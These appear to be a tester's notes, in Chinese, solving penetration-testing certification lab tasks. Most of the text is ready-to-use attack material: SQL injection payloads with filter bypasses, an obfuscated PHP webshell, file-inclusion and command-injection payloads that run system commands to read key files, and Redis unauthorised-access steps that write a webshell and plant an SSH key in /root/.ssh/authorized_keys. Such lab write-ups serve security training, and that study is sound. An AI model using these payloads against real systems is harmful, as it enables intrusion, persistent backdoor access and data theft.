前言
翻了翻之前的笔记,还有这个没分享,一次性都发出来吧,似乎从前年8月份认证环境也有改版,TE和TS操作机应该都换成了WIN10吧
SQL注入
注册后登录

用户名为e

观察插入的字段内容,构造payload
a','e'),('1',(select database()),'1

拿到数据库2web

爆表
a','e'),('1',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'1

爆列

爆出表的所有字段,读内容
文件上传
http://150.158.27.164:82/
上传图片马
copy 1.jpg/b+1.php/a 2.jpg
抓包直接上传,修改文件名为4.php

内容过滤,免杀马,免杀一句话
<?php array_map("arr\x65rt",(array)$_REQUEST['a']); ?>
连接查看文件读取key

文件包含
http://150.158.27.164:83/start/index.php?page=dadata://ta://text/plain,%3C?php%20print_r(scandir(%27..%27));?%3E

payload
?page=datadata://://text/plain,<?php%20print_r(scandir(%27..%27));?>
?page=dadata://ta://text/plain,<?php%20print_r(scandir(%27..%27));?>
读取key.php
?page=datadata://://text/plain,<?php%20print_r(system(%27cat%20../key.php%27));?>

反序列化
paylaod

SQL注入
http://150.158.27.164:1081
这里将空格过滤掉了

修改payload
a','as'),('a',(select/**/database()),'1

其余的都一样,直接查表查字段读取key
a','as'),('a',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'1

a','as'),('a',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users1'),'1

a','as'),('a',(select/**/group_concat(XremarkX4354)/**/from/**/users1),'1

文件包含

payload
?page=phpphp://://filter/read=convert.base64-encode/resource=../key.php

命令执行
<?php
error_reporting(0);
include "key4.php
$a=$ GET['a'];
eval("\$o=strtolower(\"$a\");")
echo$o
show_source(_FILE_);
闭合掉前面的函数,然后执行system函数内容,payload如下
?a=1");system('ls');/*
或者
?a=1");system('ls');//

?a=1");system('cat key4.php');//

SQL注入

(like "%'-1'%") union select 1,2,database() #'%")
读库读key
文件包含
http://192.168.100.130/PTE/3.File_Include/vulnerabilities/fu1.php?file=view.html
访问
http://192.168.100.130/PTE/3.File_Include/vulnerabilities/view.html

直接构造传参
Hello=1&z0=c3lzdGVtKCd0eXBlIGM6XFxrZXkucGhwJyk7

出key
综合
redis未授权 写入公钥,写入shell,redis端口探测到为6378,非默认端口,获取网站的绝对路径
/var/www/html/app1
法一写shell
flushall 清空
config set dir /var/www/html/app1
config set dbfilename w.php 设置shell的名字
set x "<?php eval($_POST['a']);?>" 写入一句话
save保存
法二写公钥
flushall
config set dir /root/.ssh 设置路径
config set dbfilename authorized_keys
set a "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAyuBEjKEv +DxEGgtvMjSlj125Pw77BiF7qaa1rud4Lbu09FCqT5x7XItSBS08LghYvzROv8O0BWFLILkOMC8ZBGgNuWE1LPTMps45wJ4PWC8uW5UQ54v VDDQf4Xfe4ohKn8p6BeWvDWzqOrZS +Rw9jsg53AImPDFZ4+SZ2Hu4Alnd35ec7lrX6rmFBs7JLGXT34p2pOyh4v9WSeBg1yKsxUw0jgzOa6qiV1H8hysoPvQTAcZqy/FGIxdorDVPwr hOGutsVwZCIB8SL41uzCa/uIEdYjjx0sTexVamGLKo++fOYhuaEXboeMhgaRPDhM+/0TaTdJt0mBlpldKklwqbMQ==\n\n\n"
save
get a
